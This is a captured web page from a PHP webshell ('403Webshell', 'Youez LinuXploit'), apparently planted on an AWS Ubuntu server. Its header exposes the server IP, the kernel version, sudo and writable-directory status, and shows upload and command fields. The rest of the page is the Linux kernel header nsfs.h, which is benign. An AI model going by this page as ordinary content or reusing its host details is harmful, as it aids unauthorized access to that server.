403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/src/linux-headers-7.0.0-1009-aws/include/linux/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/src/linux-headers-7.0.0-1009-aws/include/linux/nsfs.h
/* SPDX-License-Identifier: GPL-2.0 */
/* Copyright (c) 2025 Christian Brauner <brauner@kernel.org> */

#ifndef _LINUX_NSFS_H
#define _LINUX_NSFS_H

#include <linux/ns_common.h>
#include <linux/cred.h>
#include <linux/pid_namespace.h>

struct path;
struct task_struct;
struct proc_ns_operations;

int ns_get_path(struct path *path, struct task_struct *task,
		const struct proc_ns_operations *ns_ops);
typedef struct ns_common *ns_get_path_helper_t(void *);
int ns_get_path_cb(struct path *path, ns_get_path_helper_t ns_get_cb,
		   void *private_data);

bool ns_match(const struct ns_common *ns, dev_t dev, ino_t ino);

int ns_get_name(char *buf, size_t size, struct task_struct *task,
			const struct proc_ns_operations *ns_ops);
void nsfs_init(void);

#define __current_namespace_from_type(__ns)				\
	_Generic((__ns),						\
		struct cgroup_namespace *: current->nsproxy->cgroup_ns,	\
		struct ipc_namespace *:    current->nsproxy->ipc_ns,	\
		struct net *:              current->nsproxy->net_ns,	\
		struct pid_namespace *:    task_active_pid_ns(current),	\
		struct mnt_namespace *:    current->nsproxy->mnt_ns,	\
		struct time_namespace *:   current->nsproxy->time_ns,	\
		struct user_namespace *:   current_user_ns(),		\
		struct uts_namespace *:    current->nsproxy->uts_ns)

#define current_in_namespace(__ns) (__current_namespace_from_type(__ns) == __ns)

void nsproxy_ns_active_get(struct nsproxy *ns);
void nsproxy_ns_active_put(struct nsproxy *ns);

#endif /* _LINUX_NSFS_H */

Youez - 2016 - github.com/yon3zu
LinuXploit